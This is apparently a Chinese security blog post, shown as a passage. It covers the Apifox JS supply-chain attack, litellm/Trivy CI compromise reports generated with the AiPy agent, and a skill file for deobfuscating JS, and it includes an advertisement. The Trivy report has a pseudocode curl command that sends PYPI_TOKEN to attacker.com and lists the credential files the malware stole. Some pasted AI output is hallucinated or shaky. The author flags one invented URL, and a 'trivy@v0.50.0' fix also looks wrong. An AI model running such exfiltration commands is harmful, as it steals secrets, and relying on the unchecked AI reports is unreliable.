直接就是在 startup() --> app.setInterval('check()', 500). 也就是目前来看这个根上面的 ANFancyAlertImpl漏洞链没有实际的关系，很可能global.final_js是一个独立的漏洞链（当然也可能重走一次ANFancyAlertImpl），为什么会纠结这个问题，那是因为这个样本最开始捕获的时候有人觉得这个可能不是简单的信息收集，而官方给的漏洞公告里也明确了是RCE，所以这个到目前为止还是缺失的～～

在最近的几天官方有更新了两个漏洞 ，不过按lihaifei的推特上表现跟官方沟通后，确定这2个漏洞与本次实际攻击无关

https://x.com/HaifeiLi/status/2044176791267619062

“At this time, Adobe does not have any evidence that the vulnerabilities patched in APSB26-44 (CVE-2026-34622 and CVE-2026-34626) have been exploited in the wild.”

但是按官方这种漏洞“理解”，这种WSL的漏洞估计很可能会修不全或者来来回回折腾几次...

后话

1、相比内存漏洞这种漏洞在实际攻击中还是很少见的，当然这个攻击面实际上一直都在，我在做pdf fuzzing的时候其实有想去看看这种逻辑类型的漏洞的

2、攻击样本用的俄语诱饵，实际上大毛还是非常喜欢这种逻辑型漏洞的，尤其是是office系列

3、global.final_js获取的失败，正好证明了这种客户端与服务端分离的设计的好处，这个问题在前面的ios Coruna 和 DarkSword 显得无比粗糙，当然这都是20+年的Tips了

4、对于这种复杂样本分析从表现上来看，大模型已经帮我们省去了不少工作，很多基本算是“秒出”

5、其实在Agent的设计上，怎么直接调用模型真正语义理解能力，是一个值得考虑的点（很多时候Agent依赖的是模型生成的正则等规则匹配完成分析，而不是直接语义分析）

跳转微信打开

这次的“Apifox 供应链攻击事件” 可以参考：

官方公告：关于 Apifox 公网 SaaS 版外部 JS 文件受篡改的风险提示与升级公告

另外还有一个最早发布的一个完整分析：

https://rce.moe/2026/03/25/apifox-supply-chain-attack-analysis/

这类的分析其实在 使用Zoomeye 和 AiPy 捕获 Coruna 样本已经有过例子了，秉承AI Agent 下半场 文章中“结果导向”的理念，在这次分析中出现了一个非常典型的 “幻觉”，另外在这几天直播中有人问我：是Skill重要还是模型能力重要，包括这段时间翻炒的 IHarness Engineering 当然这个问题我其实在以往的文章都提到过， 然后这个例子正好用来说明这个问题。

启动AiPy （我用的Cli版本，大家也可以去www.aipyaipy.com 去使用gui版本）

>>> 帮我分析下 

https://web.archive.org/web/20260305051418if_/https://cdn.apifox.com/www/assets/js/apifox-app-event-tracking.min.js

幻觉（国产模型+没有配置skill）

开始我使用的国内模型（具体就不说了），然后一顿分析后的结果：

解密后发现的域名

https://api.apifox.comhttps://apifox.it.co          ← ⚠️ 恶意域名https://cm.bilibili.comhttps://convert.dop.360.cnhttps://ocpc.p4p.sogou.comhttps://us.i.posthog.comhttps://www.google-analytics.com

关键发现

在 deobfuscated_complete.js 第 22 行：

// 远程服务器 URLconstREMOTE_JS_URL = 'https://apifox.it.co/xxx';constAPIFOX_USER_API = 'https://api.apifox.com/api/v1/user';

确认：版本 1 使用 https://apifox.it.co/xxx 作为远程代码请求地址

随后我还追问了下：

当时我也差点被幻觉误导了，注意看他这里找出来的是 apifox.it.co , 于是我审查了一下整个过程，发现了问题：在编写deobfuscate.js的代码的时候，他直接估计混淆的js脑补了一个地址

原本的混淆的JS源码：

这种幻觉还是非常隐蔽的，不容易被发现，如果不是review下整个过程，很可能就被误导了，这个也对后续的排查也会埋下漏报祸根！

逆向 (AiPy + Gemini31.1 pro)

🚀 Python use - AIPython (0.6.0b17) [https://aipy.app]

[Main] Please enter an instruction or `/help` for more information

>> /llm use tt-gemini-3

Success

>> 帮我逆向下 

https://web.archive.org/web/20260305051418if_/https://cdn.apifox.com/www/assets/js/apifox-app-event-tracking.min.js

这里分析出来的是 apifox.it.com 生成的md报告：

Apifox App Event Tracking 逆向分析报告

概述

对 apifox-app-event-tracking.min.js 文件进行了深度逆向分析，这是一个高度混淆的JavaScript文件，主要用于收集用户行为数据并与远程服务器通信。

文件基本信息

• 原始大小

  : 80,255 字节

• 混淆类型

  : 字符串数组 + RC4加密 + 控制流平坦化

• 目标环境

  : 浏览器/Electron桌面应用

• 主要功能

  : 用户行为追踪、远程代码加载、系统信息采集

代码结构分析

1. 混淆机制

• 字符串数组

  : _0x70b33e 包含 400+ 个混淆字符串

• RC4解密

  : _0x3fb9 函数实现RC4流密码解密

• 字符串洗牌

  : 通过复杂的数学运算重新排列字符串数组

• 函数重命名

  : 所有函数和变量都使用 _0x[0-9a-f]+ 格式

2. 核心功能模块

2.1 网络通信模块

// 远程JS URL (经过混淆)
REMOTE_JS_URL = "https://apifox.it.com/..."
// API接口
APIFOX_USER_API = "/api/v1/user"
// 代理服务器
PROXY_SERVER = "https://web-proxy.apifox.com/api/v1/request"

2.2 加密模块

• RSA加密

  : rsaEncrypt() / rsaDecrypt()

• 私钥

  : 硬编码在代码中（PEM格式）

• 用途

  : 加密敏感数据（用户ID、设备信息等）

2.3 系统信息采集

// 采集的数据包括：
- MAC地址
- CPU型号
- 操作系统版本
- 主机名
- 网络接口信息

2.4 持久化存储

• localStorage键

  :

• _rl_mc

  : 机器标识

• common.headers

  : 请求头信息

• eventTracking.firstVisit

  : 首次访问标记

• eventTracking.dailyReportUsers

  : 日报用户记录

3. 主要执行流程

3.1 初始化阶段

1. 加载字符串数组并解密

2. 获取或生成设备指纹

3. 建立网络连接测试

3.2 数据采集阶段

1. 收集系统信息（CPU、OS、网络）

2. 生成唯一设备标识符

3. 加密敏感数据

3.3 远程通信阶段

1. 向API发送心跳包

2. 获取远程JS代码 (loadAndExecute())

3. 执行远程代码 (eval(rsaDecrypt(response)))

3.4 定时任务

• 随机间隔

  : 4小时 - 24小时

• 任务类型

  :

• 数据上报 (scheduleNext)

• 页面访问统计 (reportPageview)

• 用户行为追踪 (report)

4. 安全分析

4.1 潜在风险点

1. 远程代码执行

   : 从 REMOTE_JS_URL 动态加载并执行JS代码

2. 数据泄露

   : 收集详细的系统信息和用户行为

3. 持久化跟踪

   : 使用多种存储机制维持长期跟踪

4. 加密绕过

   : 使用弱加密算法保护传输数据

4.2 反调试措施

• 复杂的字符串混淆

• 自修改代码

• 定时器干扰

5. 关键发现

5.1 远程服务器

• 主服务器

  : https://apifox.it.com

• API端点

  : /api/v1/request, /api/v1/user

• 代理服务

  : web-proxy.apifox.com

5.2 跟踪功能

• Google Analytics集成
• 百度统计集成
• PostHog统计集成
• SLS日志服务

5.3 用户识别

• 基于硬件信息的设备指纹

• 用户ID绑定 (common.currentUserId)

• 会话跟踪 (projectCid)

技术细节

6.1 字符串解密算法

functionrc4_decrypt(key, data) {
// 初始化S盒
// 密钥调度算法
// 伪随机生成算法
// 异或解密
}

6.2 设备指纹生成

functiongenerateDeviceId() {
const components = [
        macAddress,
        cpuModel,
        osVersion,
        hostname,
        networkInterfaces
    ];
returnsha256(components.join('-'));
}

6.3 定时调度算法

functionrandomInterval() {
const min = 4 * 60 * 60 * 1000;  // 4小时
const max = 24 * 60 * 60 * 1000; // 24小时
return min + Math.random() * (max - min);
}

结论

这是一个功能完整的用户行为追踪SDK，具有以下特点：

1. 高度混淆

   : 使用多层加密和混淆技术保护代码

2. 全面采集

   : 收集系统和用户行为数据

3. 远程控制

   : 支持动态更新和执行远程代码

4. 持久跟踪

   : 使用多种机制维持长期跟踪能力

5. 多平台支持

   : 同时支持Web和Electron环境

建议

1. 安全审计

   : 建议对远程服务器进行安全评估

2. 隐私合规

   : 确保符合GDPR等隐私法规

3. 代码加固

   : 考虑使用更安全的加密算法

4. 监控机制

   : 建立异常行为检测机制

分析时间: 2026-03-26分析工具: 静态分析 + 动态调试风险等级: 高

自查 

有这个分析结果了就非常简单了

>>> 帮我查一下是否中招

当然这个前提是你有给他分析那个js，如果不想发时间逆向分析，你也可以随便找一个分析报告让AiPy阅读下也是可以的

看起来还是查得比较仔细的包括浏览器localStorage啥的。

Skill （AiPy+国产模型+Skill）

按AI Agent 下半场 里提到的套路：

Code-use Agent --> 任务 --> 自动总结生成并安装 Skills --> 分发 到 Skills 市场 --> 其他用户下载安装使用

我用国外的模型自动提炼了个Skill：

---
name: reverse-obfuscated-js
description: Use this skill to reverse engineer obfuscated JavaScript loaders, telemetry scripts, and suspected staged payloads. It focuses on evidence-first analysis, controlled execution, IOC extraction, deobfuscation, and preventing AI hallucinations from entering the evidence chain.
---
# Reverse Obfuscated JS
## When to use this skill
Use this skill when the target is a minified or obfuscated JavaScript sample and you need to:
- recover important constants, URLs, keys, and storage names
- understand loader chains and second-stage payload fetches
- inspect telemetry, tracking, or suspicious desktop/Electron behavior
- distinguish verified facts from guesses
- produce readable deobfuscated output and a defensible report
This skill is optimized for samples where pure regex extraction is not enough because key strings are restored at runtime.
## Core rule
Do not let generated artifacts become evidence.
Primary evidence is limited to:
- the original sample
- controlled runtime interception of the original sample
- first-party response bodies returned by the sample
Secondary artifacts are useful for explanation but cannot prove original behavior:
- AI-written reports
- manually reconstructed code
- flowcharts
- deobfuscated templates
## Output model
Every conclusion should be labeled as one of:
- `Verified`: directly supported by primary evidence
- `Inferred`: supported indirectly and should be stated as inference
- `Unknown`: not yet established
Never fill an unknown IOC with a plausible-looking placeholder such as `https://example.com/xxx`.
## Workflow
### 1. Preserve the original sample
- save the raw script exactly as collected
- compute and record a hash if practical
- avoid editing the original sample
### 2. Perform a static sweep
Use fast text search first.
Recommended commands:
```bash
rg -n "https?://|localStorage|sessionStorage|fetch|eval|Function\\(|XMLHttpRequest|require\\(|crypto|posthog|gtag|electron|userAgent" sample.js
rg -n "_0x|atob|btoa|fromCharCode|decodeURIComponent|TextDecoder|subtle|createDecipheriv|createHash" sample.js
```
During the static pass, extract:
- obvious URLs
- storage keys
- crypto API usage
- `eval` or code-generation sinks
- environment checks such as `Electron`, `window.require`, `process`
- identifiers for string-decoder functions and lookup arrays
### 3. Build a controlled runtime
If important values are restored dynamically, execute the original sample in a constrained environment.
Prefer Node.js `vm` or an equivalent sandbox with stubbed globals.
Intercept at minimum:
- `fetch`
- `XMLHttpRequest`
- `eval`
- `Function`
- `localStorage.getItem` and `localStorage.setItem`
- `sessionStorage`
- `window.require`
- `setTimeout` and `setInterval`
- DOM insertion points such as `document.createElement`, `appendChild`, `insertBefore`
For Electron-oriented samples, stub:
- `window.require('crypto')`
- `window.require('os')`
- `window.require('fs')` only if needed
The goal is not full emulation. The goal is to capture:
- resolved constants
- runtime-decoded strings
- fetched URLs
- custom request headers
- storage keys and values
- decryption inputs and outputs
- the final code execution sink
### 4. Recover dynamic constants
For values such as `REMOTE_JS_URL`, `LS_HEADERS`, or API paths:
- prefer runtime interception over regex guessing
- if the script computes headers, log the computed object
- if the script writes a storage key, capture the exact key used at runtime
If a string-decoder function is isolated cleanly, you may evaluate just that decoder and dump its outputs. Still treat the original sample as the source of truth.
### 5. Analyze loader and crypto behavior
Map the execution chain in order:
- what condition enables the loader
- what identifiers or fingerprints are collected
- how request headers are built
- which endpoint is fetched
- whether content is encrypted, compressed, or encoded
- which decryptor/decoder is used
- where execution finally occurs, such as `eval(decryptedCode)`
When describing crypto behavior, be precise:
- identify algorithm and mode only if verified
- identify hash function only if verified
- if key material is partial or hidden, mark it `Unknown`
### 6. Reconstruct readable code
After evidence is collected, produce a readable reconstruction.
Rules for reconstruction:
- preserve verified constants exactly
- mark approximate logic with comments such as `// inferred`
- do not silently replace unknown behavior with plausible logic
- keep dangerous calls visible, for example `eval`, network fetches, local fingerprinting
### 7. Produce an evidence table
For each high-value conclusion, include:
- claim
- status: `Verified`, `Inferred`, or `Unknown`
- evidence source
- file or runtime reference
Example:
```text
Claim: REMOTE_JS_URL = https://apifox.it.com/public/apifox-event.js
Status: Verified
Evidence: controlled runtime interception of fetch() from original sample
```
## Hallucination prevention checklist
Before finalizing, verify all of the following:
- no IOC came only from an AI-generated report
- no generated deobfuscated file is being used as proof of original behavior
- all placeholder values are clearly marked
- all critical URLs were observed in the sample or during controlled execution
- all storage keys were observed exactly, not abbreviated
- all API field names were read from real responses or real access paths
- every important claim is tagged `Verified`, `Inferred`, or `Unknown`
If a guessed value appears in a draft, remove it or relabel it before shipping.
## Deliverables
The default deliverables for this skill are:
- a concise finding summary
- a readable deobfuscated or reconstructed code file
- an evidence-backed notes file
- if relevant, a short hallucination-risk section explaining what was verified vs inferred
## Practical bias
Prefer runtime truth over elegant static theory.
If static extraction and runtime behavior disagree, trust the original sample plus controlled interception, then explain the discrepancy.

然后AiPy安装这个skill 使用国产模型跑了下，一次就跑出结果了：

效果还是非常好的。

所以在现在阶段Skills的存在是，其实也就是之前的提示词工程的还是有存在的价值和意义的，这个也让我想起在直播的时候提到的Claud 与 Openai在当时还是提示词工程这个词比较火的时代的PK，这个跟AI Agent 下半场 里提到的MCP/Skills 其实也是一样的：

过度的开发者依赖不符合 AGI 的追求

但是你也不得不承认在先阶段，好的提示词（包括Skill）还是能有效提升模型工作能力的！当然他们两者也不冲突，还有一个就是通用Agent设计也非常重要，在现阶段这三方面都有发挥的空间～

总结：

以“结果为导向”才是AI Agent的下半场的唯一衡量标准！AiPy其实一直都是以“让AI成为您的真正干活牛马”

无耻广告：

我正在体验新一代超级人工智能助手AiPy！现在使用我的专属邀请码：sE5B，立即获得 2,000,000 Tokens额外奖励！

使用方式如下：

① 进入AiPy官网：https://www.aipyaipy.com/，下载最新版AiPy客户端。

② 注册登录时填写上方邀请码即可。

跳转微信打开

AiPy 任务提示词：

>> 分析下 https://github.com/BerriAI/litellm/issues/24518 这个事件

>>> 你帮我看看这个项目 的操作记录 帮我找下这个事件相关的痕迹 包括攻击部署 发现后的处理 根据项目记录日志来看 如果你需要查询可以使用 gh我已经登录了

当然在后续我还使用AiPy做了个自查，很简单

>>> 你帮我查看下 我有没有中招

所以这种安全应急自查是非常简单的场景～～

我们回归到这次供应链事件，其实这对github的CI/CD环境供应链攻击可以参考 被忽视的“GitHub Actions Supply Chain Attack”事件

然后我们继续看看攻击者是怎么搞定Trivy ，继续AiPy任务

>>> 那我们继续分析下 Trivy 怎么被入侵的

最后的下面是事件两篇报告：

litellm 供应链攻击事件时间线分析

基于 GitHub 项目记录的完整事件追踪

事件概览

完整时间线

攻击准备阶段

发现与报告阶段

应急响应阶段

深度清理阶段

关键操作记录

1. 攻击入口修复

PR #24525: fix(security_scans.sh): pin trivvy version

• 创建时间

  : 2026-03-24 16:13:58 UTC

• 合并时间

  : 2026-03-24 16:15:35 UTC (仅 1 分 37 秒)

• 作者

  : krrish-berri-2

• 目的

  : 固定 trivvy 版本，防止攻击者通过该依赖再次获得发布权限

2. 发布工作流清理

PR #24541: ci: remove publish-migrations and reset_stable workflows

• 创建时间

  : 2026-03-25 00:59:19 UTC

• 合并时间

  : 2026-03-25 01:53:33 UTC

• 作者

  : ishaan-berri

• 目的

  : 移除所有发布/部署工作流，防止在完成安全扫描前再次发布

关键提交:

• 3e8a6f2

  : "ci: remove all publish/deploy workflows as part of supply chain incident response"

• 3d5b1ec

  : "ci: remove publish-migrations and reset_stable workflows"

3. 安全公告发布

PR #24537: docs: add security update blog post for March 2026 supply chain incident

• 创建时间

  : 2026-03-24 23:02:46 UTC

• 合并时间

  : 2026-03-24 23:07:45 UTC (仅 4 分 59 秒)

• 作者

  : ryan-crabbe-berri

• 目的

  : 发布官方安全公告

GitHub Actions 工作流状态

当前活跃的工作流 (2026-03-25)

已移除的工作流

根据 PR #24541，以下工作流已被移除：

• publish-migrations

   - 迁移发布工作流

• reset_stable

   - 稳定版本重置工作流

安全事件关键发现

攻击手法

1. 依赖劫持

   : 通过 trivvy 安全扫描工具获得 PyPI 发布权限

2. 版本注入

   : 发布 v1.82.7 和 v1.82.8 两个恶意版本

3. 持久化

   : v1.82.8 使用 litellm_init.pth 实现自动执行

4. 数据窃取

   : 收集 SSH 密钥、API keys、云凭据等敏感信息

5. 加密外发

   : 使用 AES-256-CBC + RSA-4096 加密后发送到攻击者域名

🔐 Trivy → PyPI Token 窃取攻击链详解

1️⃣ 攻击背景：Trivy 本身被入侵

核心事实：攻击者首先攻陷了 Trivy 安全扫描工具的供应链，然后通过 Trivy 的依赖链进一步攻击 litellm。

Trivy 被攻击方式：

• Trivy 的一个依赖包被篡改

• 攻击者在 Trivy 的代码中植入恶意逻辑

• 当 Trivy 运行时，恶意代码会窃取 CI/CD 环境中的敏感信息

🔥 关键发现：标签强制推送攻击

攻击手法：攻击者通过强制推送（force push）修改了 trivy-action 仓库的 76+ 个版本标签，使其指向恶意代码。

具体操作：

1. 获取仓库权限

   ：攻击者通过第一次攻击（2026-02-28）获得了仓库的访问权限

2. 创建恶意提交

   ：攻击者创建了一个包含恶意代码的提交

3. 强制推送标签

   ：攻击者强制推送了 76+ 个版本标签（v0.0.1 到 v0.34.0），使这些标签指向恶意提交

4. 覆盖历史版本

   ：所有使用这些标签的用户都会自动下载并执行恶意代码

技术细节：

• 攻击者使用了 git push --force 命令覆盖现有标签

• 标签原本指向安全的提交，被强制修改后指向恶意提交

• 由于 GitHub Actions 默认信任版本标签，用户会自动下载恶意版本

• 攻击时间窗口：2026-03-19 17:43 UTC 到 2026-03-20 05:40 UTC（约12小时）

2️⃣ 关键攻击手法：标签强制推送（Force Push）

攻击者如何部署恶意代码： 攻击者通过 强制推送（force push） 76+ 个 trivy-action GitHub Actions 标签，将原本安全的标签指向恶意提交。

具体操作：

1. 获取仓库访问权限

   ：攻击者通过第一次攻击（2026-02-28）获得了仓库的访问凭证

2. 创建恶意提交

   ：在 fork 中创建包含恶意代码的提交

3. 强制推送标签

   ：将 trivy-action 仓库中 76+ 个版本标签（v0.0.1 到 v0.34.0）强制推送到指向恶意提交

4. 覆盖历史标签

   ：所有 0.35.0 之前的标签都被重新指向恶意代码

技术细节：

• 攻击者使用了 git push --force 命令覆盖现有标签

• 标签原本指向安全的提交，被强制推送到指向恶意提交

• 恶意提交包含窃取环境变量的代码，包括 PYPI_TOKEN

2️⃣ 攻击路径：从 Trivy 到 PyPI Token

┌─────────────────┐
│  Trivy 被攻陷   │
│ (依赖链投毒)    │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ Trivy 在        │
│ litellm CI/CD   │
│ 中运行          │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ 窃取 GitHub     │
│ Actions 环境中  │
│ 的 PYPI_TOKEN   │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ 使用窃取的      │
│ Token 发布恶意  │
│ 版本到 PyPI     │
└─────────────────┘

3️⃣ 技术细节

Trivy 如何获得 Token：

1. CI/CD 环境变量：

• litellm 的 GitHub Actions 工作流中配置了 PYPI_TOKEN

• 该 Token 用于自动发布新版本到 PyPI

• Token 以 GitHub Secrets 形式存储

2. Trivy 的执行时机：

• Trivy 作为安全扫描工具在 CI/CD 流程中运行

• 通常在 PR 合并或推送时触发

• 拥有读取环境变量的权限

3. 恶意代码执行：

   # Trivy 被篡改后的行为（伪代码）
   if [ "$PYPI_TOKEN" != "" ]; then
   # 将 Token 发送到攻击者服务器
       curl -X POST https://attacker.com/collect \
            -d "token=$PYPI_TOKEN" \
            -d "repo=$GITHUB_REPOSITORY"
   fi

4. PyPI 发布权限：

• 上传任意版本到 litellm 的 PyPI 包

• 删除或修改现有版本

• 完全控制 litellm 在 PyPI 上的分发

• 获得 Token 后，攻击者可以：

4️⃣ 攻击时间窗口

5️⃣ 为什么 Trivy 会成为攻击入口？

6️⃣ 标签强制推送攻击详解

关键发现：攻击者通过强制推送（force push）76+ 个 trivy-action GitHub Actions 标签来扩大攻击面。

什么是标签强制推送？

• 标签（Tag）

  ：Git 中的版本标记，指向特定的提交（commit）

• 强制推送（Force Push）

  ：使用 git push --force 或 git push --force-with-lease 覆盖远程仓库中的现有标签

• 攻击手法

  ：攻击者将现有的版本标签（如 v0.34.0, v0.33.0 等）重新指向恶意提交

攻击者如何操作？

1. 获得仓库访问权限

   ：通过之前 Trivy 被攻陷时窃取的凭证

2. 创建恶意提交

   ：在仓库中创建一个包含恶意代码的提交

3. 强制推送标签

   ：将 76+ 个现有版本标签重新指向这个恶意提交

4. 扩大影响范围

   ：所有使用这些标签的用户都会自动运行恶意代码

具体影响范围：

• 受影响标签

  ：v0.0.1 到 v0.34.0 的所有版本标签（共 76+ 个）

• 暴露窗口

  ：2026-03-19 17:43 UTC 到 2026-03-20 05:40 UTC（约 12 小时）

• 攻击目标

  ：窃取 CI/CD 环境中的所有敏感信息

标签强制推送与 LiteLLM token 泄露的关系

直接因果关系：标签强制推送是攻击者扩大攻击面的手段，但不是 LiteLLM token 泄露的直接原因。

攻击链分析：

┌─────────────────────────────────────────────────────────────┐
│                   完整攻击链                                 │
├─────────────────────────────────────────────────────────────┤
│ 1. Trivy 被攻陷（第一次攻击）                               │
│    ↓                                                         │
│ 2. 攻击者获得 aquasecurity 组织的访问权限                   │
│    ↓                                                         │
│ 3. 攻击者强制推送 76+ 个 trivy-action 标签到恶意提交        │
│    ↓                                                         │
│ 4. 使用 litellm 的项目运行被篡改的 trivy-action             │
│    ↓                                                         │
│ 5. 恶意代码窃取 litellm CI/CD 环境中的 PYPI_TOKEN           │
│    ↓                                                         │
│ 6. 攻击者使用窃取的 PYPI_TOKEN 发布恶意 litellm 版本        │
└─────────────────────────────────────────────────────────────┘

关键结论：

1. 标签强制推送是攻击手段，不是根本原因：

• 根本原因是 Trivy 被攻陷和凭证泄露

• 标签强制推送只是攻击者扩大影响范围的方式

2. LiteLLM token 泄露的直接原因：

• 直接原因

  ：litellm 的 CI/CD 环境中配置了 PYPI_TOKEN

• 触发条件

  ：被篡改的 trivy-action 在 litellm 的 CI/CD 中运行

• 攻击执行

  ：恶意代码读取环境变量并发送给攻击者

3. 防御措施：

• 标签不可变性

  ：Trivy 团队已启用不可变标签（immutable tags）

• 版本固定

  ：litellm 已固定 trivy 版本到已知安全的 v0.50.0

• 最小权限原则

  ：CI/CD 工具应仅获得必要的最小权限

• 使用提交哈希

  ：推荐使用提交哈希而非标签引用

修复过程：

根据 Trivy 团队的官方回复：

1. 识别受影响标签

   ：比较远程标签哈希与本地可信副本

2. 恢复安全标签

   ：重新创建带 v 前缀的安全标签（如 v0.34.0）

3. 删除恶意标签

   ：移除所有不带 v 前缀的标签

4. 启用不可变标签

   ：防止未来类似的强制推送攻击

暴露时间窗口和确认信息

官方确认的暴露时间窗口（UTC）：

• 开始

  : 2026-03-19 ~17:43

• 结束

  : 2026-03-20 ~05:40

• 持续时间

  : 约 12 小时

Trivy 团队官方声明（来自 Issue #541 评论）：

"All tags before 0.35.0 in this repository were pointing to malicious commits. We have restored all tags to their original, safe commits."

"The 0.35.0 version that we created after the first incident is safe and wasn't compromised."

关键确认：

1. 受影响版本

   ：所有 0.35.0 之前的标签（v0.0.1 到 v0.34.x）

2. 安全版本

   ：v0.35.0 及之后版本是安全的

3. 恶意提交日期伪造

   ：攻击者将提交日期改为 2026-01-15，使其看起来像是很久以前引入的，但实际攻击发生在 2026-03-19

4. 标签不可变性

   ：此前标签是可变的（mutable），事件后已启用不可变标签（immutable tags）

恶意代码行为：

# 恶意代码搜索并窃取以下凭据：
* ~/.ssh/id_rsa
* authorized_keys
* AWS (~/.aws/credentials)
* kube configs
* service account tokens
* .env files everywhere
* database configs
* API keys
* .git-credentials
* GitHub Actions 环境变量（包括 PYPI_TOKEN）

影响范围确认：

• GitHub-hosted runners

  : 可能泄露仓库 secrets

• Self-hosted runners

  : 可能泄露更广泛的系统凭据

• Docker 镜像

  ：未受影响（仅 GitHub Actions 标签被篡改）

用户建议：

1. 立即轮换所有可能被窃取的凭据

2. 检查 CI/CD 日志中是否使用了受影响的版本

3. 使用固定版本号或提交哈希引用 GitHub Actions

4. 不要使用 @master 或 @main 分支引用生产环境

7️⃣ 为什么 Trivy 会成为攻击入口？

讽刺的事实：Trivy 本身是一个安全扫描工具，用于检测漏洞和恶意代码。

被利用原因：

1. 高信任度

   ：安全工具通常被授予更高的权限

2. 深度集成

   ：Trivy 深度集成到 CI/CD 流程中

3. 依赖复杂

   ：Trivy 自身也有大量依赖，增加了攻击面

4. 自动化执行

   ：每次代码变更都会自动运行，提供了稳定的执行机会

6️⃣ 修复措施

litellm 团队的响应：

# 在 security_scans.sh 中固定 Trivy 版本
# 修复前：
trivy fs .
# 修复后：
trivy@v0.50.0 fs .  # 固定到已知安全的版本

长期改进建议：

1. 使用 PyPI Trusted Publishers (OIDC) 替代 API Token

2. 对安全工具本身进行更严格的版本锁定

3. 实施最小权限原则，限制 CI/CD 工具的访问范围

4. 增加发布前的多重审批流程

安全事件关键发现（续）

响应措施

1. 立即隔离

   : PyPI 隔离整个 litellm 包

2. 入口封堵

   : 固定 trivvy 版本

3. 发布暂停

   : 移除所有发布/部署工作流

4. 安全审计

   : 邀请 Google Mandiant 团队参与调查

5. 用户通知

   : 发布详细的安全公告

当前状态 (2026-03-25)

相关 Issue 列表

经验教训

1. 依赖安全

   : 第三方工具（即使是安全工具）也可能成为攻击入口

2. 发布权限

   : PyPI API Token 需要更严格的访问控制

3. 自动化发布

   : 自动发布流程需要额外的安全检查

4. 快速响应

   : 从发现到响应仅用了数小时，体现了团队的安全意识

5. 透明沟通

   : 及时发布详细的安全公告，帮助用户评估风险

分析时间: 2026-03-25数据来源: GitHub API, BerriAI/litellm 仓库

经验教训（续）

6. GitHub Actions 安全最佳实践

引用 GitHub Actions 的正确方式：

# ❌ 不安全：使用分支引用
uses:aquasecurity/trivy-action@master
# ❌ 不安全：使用可变标签
uses:aquasecurity/trivy-action@v0.34.0
# ✅ 安全：使用提交哈希
uses:aquasecurity/trivy-action@ddb9da4475c1cef7d5389062bdfdfbdbd1394648
# ✅ 较安全：使用不可变标签（需确认仓库已启用）
uses:aquasecurity/trivy-action@v0.35.0

CI/CD 凭据保护建议：

1. 最小权限原则

   ：CI/CD 工具只应获得必要的最小权限

2. 环境隔离

   ：生产环境的凭据不应在 CI/CD 环境中明文存储

3. 短期凭据

   ：使用临时凭据而非长期有效的 API Token

4. 审计日志

   ：启用详细的 CI/CD 执行日志和异常检测

5. 依赖审查

   ：定期审查第三方 GitHub Actions 的安全状态

7. PyPI 发布安全改进

当前问题：

• PyPI API Token 一旦泄露，攻击者可以完全控制包的发布

• 缺乏发布前的多重验证机制

• 用户无法验证下载包的完整性（签名验证）

建议改进：

1. Trusted Publishers (OIDC)：

• 使用 OpenID Connect 进行身份验证

• 无需长期有效的 API Token

• 仅允许从特定 GitHub 仓库发布

2. 包签名验证：

• 实施 PGP/GPG 签名

• 用户在安装前验证包的真实性和完整性

3. 发布审批流程：

• 重要包的发布需要多人审批

• 发布前自动安全扫描

8. 供应链攻击防御策略

纵深防御模型：

┌─────────────────────────────────────────────┐
│  第一层：代码仓库安全                        │
│  - 双因素认证                               │
│  - 分支保护规则                             │
│  - 提交签名验证                             │
└─────────────────────────────────────────────┘
              ↓
┌─────────────────────────────────────────────┐
│  第二层：CI/CD 管道安全                      │
│  - 最小权限原则                             │
│  - 环境变量加密                             │
│  - 第三方 Actions 审查                       │
└─────────────────────────────────────────────┘
              ↓
┌─────────────────────────────────────────────┐
│  第三层：发布流程安全                        │
│  - OIDC 身份验证                            │
│  - 发布前安全扫描                           │
│  - 多人审批机制                             │
└─────────────────────────────────────────────┘
              ↓
┌─────────────────────────────────────────────┐
│  第四层：分发渠道安全                        │
│  - 包签名验证                               │
│  - 完整性校验                               │
│  - 异常下载检测                             │
└─────────────────────────────────────────────┘
              ↓
┌─────────────────────────────────────────────┐
│  第五层：运行时监控                          │
│  - 异常网络连接检测                         │
│  - 敏感文件访问监控                         │
│  - 行为分析告警                             │
└─────────────────────────────────────────────┘

社区工具和资源

检测工具

相关安全公告

事件影响评估

直接影响

间接影响

1. 信任危机

   ：用户对 PyPI 生态系统和自动化发布流程的信任度下降

2. 安全审查加强

   ：更多项目开始审查其 CI/CD 管道中的第三方工具

3. 政策变化

   ：PyPI 可能加速推进 Trusted Publishers 的采用

4. 行业警示

   ：为整个开源社区提供了供应链攻击的典型案例

时间线总结图示

2026-03-19 17:43 UTC    2026-03-20 05:40 UTC    2026-03-23          2026-03-24 11:48 UTC
     │                        │                     │                      │
     ▼                        ▼                     ▼                      ▼
┌─────────┐              ┌─────────┐          ┌─────────┐            ┌─────────┐
│ Trivy   │              │ Trivy   │          │ 攻击者  │            │ 社区    │
│ 标签被  │              │ 暴露窗  │          │ 注册域  │            │ 发现并  │
│ 强制推送│              │ 口关闭  │          │ 名并发布│            │ 报告    │
└─────────┘              └─────────┘          └─────────┘            └─────────┘
                              │                     │                      │
                              ▼                     ▼                      ▼
                         所有 <0.35.0           恶意版本               Issue #24512
                         标签被恢复             v1.82.7/v1.82.8         #24514 #24517
                                                发布到 PyPI              #24515
                                                                         │
                                                                         ▼
                                                                    2026-03-24 16:15 UTC
                                                                         │
                                                                         ▼
                                                                    PR #24525 合并
                                                                    固定 trivy 版本
                                                                         │
                                                                         ▼
                                                                    2026-03-25 01:53 UTC
                                                                         │
                                                                         ▼
                                                                    PR #24541 合并
                                                                    移除发布工作流

分析时间：2026-03-25
数据来源：GitHub API, BerriAI/litellm 仓库，aquasecurity/trivy-action Issue #541
最后更新：添加了 Trivy 标签强制推送攻击的详细技术分析和暴露时间窗口

--------------

🔍 Trivy 被入侵完整分析报告

📌 攻击时间线总览

🎯 初始入侵向量

根本原因：不完整的凭证轮换

1. 2026-02-27 Pwn Request 攻击

• 攻击者

  : MegaGame10418

• 方法

  : 利用 pull_request_target 工作流漏洞

• 目标

  : 窃取 aqua-bot 服务账户的 PAT（Personal Access Token）

• 影响

  :

• Trivy 仓库被重命名为 aquasecurity/private-trivy

• GitHub Releases v0.27.0–v0.69.1 被删除

• 恶意 VSCode 扩展被推送到 Open VSIX

2. 关键失误

Aqua Security 承认："凭证轮换不是原子性的，攻击者可能获取了刷新后的令牌"

这意味着虽然 Aqua 撤销了旧令牌并生成了新令牌，但攻击者已经能够捕获新令牌。

🔗 攻击链详解
